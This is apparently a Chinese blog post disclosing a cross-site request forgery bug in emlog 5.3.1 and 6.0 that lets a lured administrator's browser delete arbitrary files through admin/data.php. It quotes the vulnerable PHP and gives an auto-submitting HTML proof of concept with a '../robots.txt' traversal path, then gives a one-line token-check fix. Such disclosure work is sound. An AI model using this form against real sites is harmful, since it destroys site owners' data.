听说emlog更新到6.0了,下载了一份最新的代码,发现原来的bug还是没有修复。可能是官方没有在意,所以这里简单叙述一下危害。
出现的地方
在admin/data.php
139行
if ($action == 'dell_all_bak') { if (!isset($_POST['bak'])) { emDirect('./data.php?error_a=1'); } else{ foreach ($_POST['bak'] as $val) { unlink($val); } emDirect('./data.php?active_del=1'); } }
可以看到后台是没有验证的,如果管理员访问到了精心构造的界面,则可以删除任意文件,这里代码使用数组循环的,所以管理员如果访问到了页面很可能会删除网站所有。
利用方式
以我本地搭建的网站emlog6.demo
为例,构造如下exp:
<html> <head> </head> <body> <form action="http://emlog6.demo/admin/data.php?action=dell_all_bak" method="POST" id="transfer"> <input type="hidden" name="bak[0]" value="../robots.txt" /> <button>aa</button> </form> <script type="text/javascript"> var f = document.getElementById("transfer"); f.submit(); </script> </body> </html>
这里只删除robots.txt。然后将这个上传到任意网址,诱导管理员访问(管理员访问时需要确认已经登陆过后台)
这是访问之前:
访问之后看到robots.txt已经被删除了
影响范围
只测试过emlog 5.3.1和6.0 都中招
修复
之前的bug修复记录:https://x.hacking8.com/?post=183
在if前面增加一行LoginAuth::checkToken();
即可。
发表评论